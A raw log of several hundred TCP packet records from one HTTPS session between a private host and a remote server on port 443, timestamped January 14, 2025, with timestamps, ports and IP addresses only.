Jan 14, 2025 13:28:42.263932943 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.263938904 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.269273996 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.302771091 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.302848101 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.302911997 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.302967072 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.351790905 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.351854086 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.351865053 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.351866961 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.351900101 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.351916075 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.351928949 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.351979971 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.351986885 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352231026 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352279902 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352288008 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.352319002 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352330923 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.352360010 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.352514982 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352567911 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352587938 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.352593899 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352616072 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.352780104 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352827072 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352842093 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.352849007 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.352874994 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.352884054 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.353013039 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353070974 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353091002 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.353096962 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353120089 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.353187084 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353252888 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.353259087 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353414059 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353473902 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.353480101 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353661060 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353713036 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353722095 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.353744030 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.353771925 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.393826962 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.393903971 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.393919945 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.393929958 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.394071102 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.442584991 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.442658901 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.442857027 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.442867041 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.442897081 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.442914009 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.442950964 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.442964077 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.442975044 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.442991972 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443010092 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443033934 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.443059921 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443062067 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.443233967 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443276882 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443298101 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.443306923 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443321943 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.443362951 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443424940 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.443432093 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443556070 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443607092 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443615913 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.443644047 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443659067 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.443767071 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443816900 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443826914 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.443849087 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.443888903 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.444053888 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.444104910 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.444117069 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.444124937 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.444154024 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.444294930 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.444351912 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.444355965 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.444376945 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.444417000 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.483831882 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.483870029 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.484133959 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.484142065 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.525065899 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533180952 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533200979 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533236980 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533257961 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533293009 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533296108 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533310890 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533344030 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533356905 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533359051 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533397913 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533519983 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533536911 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533576012 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533591986 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533592939 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533612967 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533647060 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533657074 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533781052 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533834934 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533849955 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533862114 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.533890963 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533906937 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.533993959 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534048080 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534060955 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534069061 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534100056 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534106970 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534353971 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534406900 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534419060 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534425974 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534461021 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534472942 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534600973 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534651041 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534662962 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534671068 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534707069 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534713984 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534851074 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534904957 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534919977 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534945011 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.534969091 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.534989119 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.574523926 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.574574947 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.574595928 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.574601889 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.574639082 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.574651003 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.623697996 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.623778105 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.623848915 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.623862028 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.623899937 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.623924971 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624028921 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624088049 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624098063 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624129057 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624140024 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624175072 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624277115 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624330044 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624342918 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624351025 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624382973 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624408007 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624516964 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624568939 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624579906 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624599934 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624641895 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624664068 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624793053 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624846935 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624860048 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624867916 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.624897003 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.624917030 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.625190973 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.625248909 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.625257969 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.625289917 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.625308037 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.625333071 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.625485897 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.625540018 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.625551939 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.625560045 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.625585079 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.625611067 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.665653944 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.665714979 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.665853024 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.665860891 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.665913105 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.714482069 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.714549065 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.714667082 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.714689016 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.714715958 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.714734077 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.714795113 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.714852095 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.714852095 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.714895010 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.714905977 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.714932919 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.715039968 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715101004 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715107918 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.715123892 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715153933 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.715172052 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.715351105 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715408087 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.715545893 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715600014 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715610027 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.715620995 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715651989 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.715802908 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715857983 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.715866089 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715892076 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.715924978 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.716099977 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.716150999 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.716152906 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.716173887 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.716211081 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.716309071 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.716365099 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.716368914 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.716387987 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.716425896 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.759331942 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.805303097 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805335999 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805414915 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805526972 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.805536032 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805577040 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.805634022 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805691957 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805701017 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.805732012 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805758953 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.805777073 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.805922985 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805974960 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.805993080 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.805998087 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806025982 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806042910 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806160927 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806220055 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806226015 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806257010 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806286097 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806297064 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806441069 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806500912 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806513071 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806519985 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806550980 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806561947 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806683064 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806744099 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806757927 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806766987 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806797028 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806816101 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.806927919 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806979895 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.806992054 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.807001114 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.807035923 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.807115078 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.807167053 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.807178020 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.807188988 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.807223082 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.807236910 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.895977020 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896054983 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896064997 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896109104 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896116018 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896153927 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896311045 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896373987 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896377087 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896399021 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896435022 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896446943 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896591902 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896647930 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896656036 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896668911 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896701097 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896713972 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896857977 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896909952 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896913052 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896945953 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.896964073 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.896989107 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897094965 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897152901 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897157907 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897173882 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897211075 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897222042 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897313118 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897367954 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897370100 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897402048 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897413015 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897562981 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897610903 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897617102 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897664070 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897725105 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897773027 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897782087 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897794962 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897824049 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.897931099 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897980928 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.897991896 CET	49730	443	192.168.2.4	172.65.251.78
Jan 14, 2025 13:28:42.898021936 CET	443	49730	172.65.251.78	192.168.2.4
Jan 14, 2025 13:28:42.898036003 CET	49730	443	192.168.2.4	172.65.251.78
